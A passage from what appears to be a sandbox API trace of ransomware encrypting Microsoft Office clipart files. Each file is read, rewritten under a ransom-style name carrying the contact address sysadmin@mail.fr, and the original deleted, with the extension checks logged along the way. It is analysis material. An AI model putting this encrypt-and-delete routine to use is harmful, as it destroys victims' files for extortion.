	[0056.997] SetEndOfFile (hFile=0x2e4) returned 1
	[0056.997] CloseHandle (hObject=0x2e4) returned 1
	[0056.998] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0056.998] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf")) returned 1
	[0056.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68
	[0056.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68
	[0056.998] lstrlenW (lpString=".doc") returned 4
	[0056.998] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0056.998] lstrlenW (lpString=".docx") returned 5
	[0056.998] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0056.998] lstrlenW (lpString=".pdf") returned 4
	[0056.998] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0056.998] lstrlenW (lpString=".xls") returned 4
	[0056.998] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0056.998] lstrlenW (lpString=".xlsx") returned 5
	[0056.998] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0056.998] lstrlenW (lpString=".ppt") returned 4
	[0056.998] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0056.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68
	[0056.998] lstrlenW (lpString=".zip") returned 4
	[0056.998] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0056.998] lstrlenW (lpString=".rar") returned 4
	[0056.998] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0056.998] lstrlenW (lpString=".bz2") returned 4
	[0056.999] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0056.999] lstrlenW (lpString=".7z") returned 3
	[0056.999] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0056.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68
	[0056.999] lstrlenW (lpString=".dbf") returned 4
	[0056.999] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0056.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68
	[0056.999] lstrlenW (lpString=".1cd") returned 4
	[0056.999] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0056.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68
	[0056.999] lstrlenW (lpString=".jpg") returned 4
	[0056.999] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0056.999] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.999] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0056.999] GetLastError () returned 0x0
	[0056.999] ReadFile (in: hFile=0x2e4, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x1496, lpOverlapped=0x0) returned 1
	[0057.018] WriteFile (in: hFile=0x350, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x14a0, lpOverlapped=0x0) returned 1
	[0057.020] ReadFile (in: hFile=0x2e4, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0057.020] WriteFile (in: hFile=0x350, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0057.020] SetEndOfFile (hFile=0x350) returned 1
	[0057.021] CloseHandle (hObject=0x350) returned 1
	[0057.021] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0057.021] SetEndOfFile (hFile=0x2e4) returned 1
	[0057.022] CloseHandle (hObject=0x2e4) returned 1
	[0057.022] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0057.022] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf")) returned 1
	[0057.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65
	[0057.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65
	[0057.023] lstrlenW (lpString=".doc") returned 4
	[0057.023] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0057.023] lstrlenW (lpString=".docx") returned 5
	[0057.023] lstrcmpiW (lpString1=".docx", lpString2="E.WMF") returned -1
	[0057.023] lstrlenW (lpString=".pdf") returned 4
	[0057.023] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0057.023] lstrlenW (lpString=".xls") returned 4
	[0057.023] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0057.023] lstrlenW (lpString=".xlsx") returned 5
	[0057.023] lstrcmpiW (lpString1=".xlsx", lpString2="E.WMF") returned -1
	[0057.023] lstrlenW (lpString=".ppt") returned 4
	[0057.023] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0057.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65
	[0057.023] lstrlenW (lpString=".zip") returned 4
	[0057.023] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0057.023] lstrlenW (lpString=".rar") returned 4
	[0057.023] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0057.023] lstrlenW (lpString=".bz2") returned 4
	[0057.023] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0057.023] lstrlenW (lpString=".7z") returned 3
	[0057.023] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0057.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65
	[0057.023] lstrlenW (lpString=".dbf") returned 4
	[0057.023] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0057.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65
	[0057.023] lstrlenW (lpString=".1cd") returned 4
	[0057.024] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0057.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65
	[0057.024] lstrlenW (lpString=".jpg") returned 4
	[0057.024] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0057.024] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0057.024] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0057.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0057.024] GetLastError () returned 0x0
	[0057.024] ReadFile (in: hFile=0x2e4, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0xc18a, lpOverlapped=0x0) returned 1
	[0057.026] WriteFile (in: hFile=0x350, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xc190, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xc190, lpOverlapped=0x0) returned 1
	[0057.028] ReadFile (in: hFile=0x2e4, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0057.028] WriteFile (in: hFile=0x350, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0057.028] SetEndOfFile (hFile=0x350) returned 1
	[0057.853] CloseHandle (hObject=0x350) returned 1
	[0058.939] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0058.939] SetEndOfFile (hFile=0x2e4) returned 1
	[0058.940] CloseHandle (hObject=0x2e4) returned 1
	[0058.940] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0058.940] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf")) returned 1
	[0058.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68
	[0058.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68
	[0058.940] lstrlenW (lpString=".doc") returned 4
	[0058.940] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0058.940] lstrlenW (lpString=".docx") returned 5
	[0058.940] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1
	[0058.940] lstrlenW (lpString=".pdf") returned 4
	[0058.940] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0058.940] lstrlenW (lpString=".xls") returned 4
	[0058.940] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0058.940] lstrlenW (lpString=".xlsx") returned 5
	[0058.940] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1
	[0058.940] lstrlenW (lpString=".ppt") returned 4
	[0058.940] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0058.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68
	[0058.940] lstrlenW (lpString=".zip") returned 4
	[0058.941] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0058.941] lstrlenW (lpString=".rar") returned 4
	[0058.941] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0058.941] lstrlenW (lpString=".bz2") returned 4
	[0058.941] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0058.941] lstrlenW (lpString=".7z") returned 3
	[0058.941] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0058.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68
	[0058.941] lstrlenW (lpString=".dbf") returned 4
	[0058.941] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0058.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68
	[0058.941] lstrlenW (lpString=".1cd") returned 4
	[0058.941] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0058.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68
	[0058.941] lstrlenW (lpString=".jpg") returned 4
	[0058.941] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0058.941] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0058.941] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0058.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0058.941] GetLastError () returned 0x0
	[0058.941] ReadFile (in: hFile=0x2e4, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x5130, lpOverlapped=0x0) returned 1
	[0059.605] WriteFile (in: hFile=0x2f8, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x5140, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x5140, lpOverlapped=0x0) returned 1
	[0059.606] ReadFile (in: hFile=0x2e4, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0059.606] WriteFile (in: hFile=0x2f8, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0059.606] SetEndOfFile (hFile=0x2f8) returned 1
	[0059.606] CloseHandle (hObject=0x2f8) returned 1
	[0059.606] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0059.606] SetEndOfFile (hFile=0x2e4) returned 1
	[0059.607] CloseHandle (hObject=0x2e4) returned 1
	[0059.607] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0059.607] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf")) returned 1
	[0059.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68
	[0059.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68
	[0059.608] lstrlenW (lpString=".doc") returned 4
	[0059.608] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0059.608] lstrlenW (lpString=".docx") returned 5
	[0059.608] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0059.608] lstrlenW (lpString=".pdf") returned 4
	[0059.608] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0059.608] lstrlenW (lpString=".xls") returned 4
	[0059.608] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0059.608] lstrlenW (lpString=".xlsx") returned 5
	[0059.608] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0059.608] lstrlenW (lpString=".ppt") returned 4
	[0059.608] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0059.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68
	[0059.608] lstrlenW (lpString=".zip") returned 4
	[0059.608] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0059.608] lstrlenW (lpString=".rar") returned 4
	[0059.608] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0059.608] lstrlenW (lpString=".bz2") returned 4
	[0059.608] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0059.608] lstrlenW (lpString=".7z") returned 3
	[0059.608] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0059.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68
	[0059.608] lstrlenW (lpString=".dbf") returned 4
	[0059.608] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0059.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68
	[0059.608] lstrlenW (lpString=".1cd") returned 4
	[0059.608] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0059.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68
	[0059.608] lstrlenW (lpString=".jpg") returned 4
	[0059.608] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0059.609] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0059.609] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0059.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0059.609] GetLastError () returned 0x0
	[0059.609] ReadFile (in: hFile=0x2e4, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x600c, lpOverlapped=0x0) returned 1
	[0060.646] WriteFile (in: hFile=0x2f8, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x6010, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x6010, lpOverlapped=0x0) returned 1
	[0060.647] ReadFile (in: hFile=0x2e4, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0060.647] WriteFile (in: hFile=0x2f8, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0060.647] SetEndOfFile (hFile=0x2f8) returned 1
	[0060.648] CloseHandle (hObject=0x2f8) returned 1
	[0060.648] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.648] SetEndOfFile (hFile=0x2e4) returned 1
	[0060.649] CloseHandle (hObject=0x2e4) returned 1
	[0060.649] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0060.649] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf")) returned 1
	[0060.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68
	[0060.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68
	[0060.649] lstrlenW (lpString=".doc") returned 4
	[0060.649] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0060.649] lstrlenW (lpString=".docx") returned 5
	[0060.649] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0060.649] lstrlenW (lpString=".pdf") returned 4
	[0060.649] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0060.649] lstrlenW (lpString=".xls") returned 4
	[0060.649] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0060.649] lstrlenW (lpString=".xlsx") returned 5
	[0060.649] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0060.649] lstrlenW (lpString=".ppt") returned 4
	[0060.650] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0060.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68
	[0060.650] lstrlenW (lpString=".zip") returned 4
	[0060.650] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0060.650] lstrlenW (lpString=".rar") returned 4
	[0060.650] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0060.650] lstrlenW (lpString=".bz2") returned 4
	[0060.650] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0060.650] lstrlenW (lpString=".7z") returned 3
	[0060.650] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0060.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68
	[0060.650] lstrlenW (lpString=".dbf") returned 4
	[0060.650] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0060.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68
	[0060.650] lstrlenW (lpString=".1cd") returned 4
	[0060.650] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0060.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68
	[0060.650] lstrlenW (lpString=".jpg") returned 4
	[0060.650] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0060.650] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.650] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0060.651] GetLastError () returned 0x0
	[0060.651] ReadFile (in: hFile=0x2e4, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0xe30, lpOverlapped=0x0) returned 1
	[0061.071] WriteFile (in: hFile=0x2f8, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xe40, lpOverlapped=0x0) returned 1
	[0061.072] ReadFile (in: hFile=0x2e4, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0061.072] WriteFile (in: hFile=0x2f8, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0061.072] SetEndOfFile (hFile=0x2f8) returned 1
	[0061.072] CloseHandle (hObject=0x2f8) returned 1
	[0061.072] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.073] SetEndOfFile (hFile=0x2e4) returned 1
	[0061.073] CloseHandle (hObject=0x2e4) returned 1
	[0061.073] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0061.073] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf")) returned 1
	[0061.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68
	[0061.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68
	[0061.078] lstrlenW (lpString=".doc") returned 4
	[0061.078] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0061.078] lstrlenW (lpString=".docx") returned 5
	[0061.078] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0061.078] lstrlenW (lpString=".pdf") returned 4
	[0061.078] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0061.078] lstrlenW (lpString=".xls") returned 4
	[0061.078] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0061.078] lstrlenW (lpString=".xlsx") returned 5
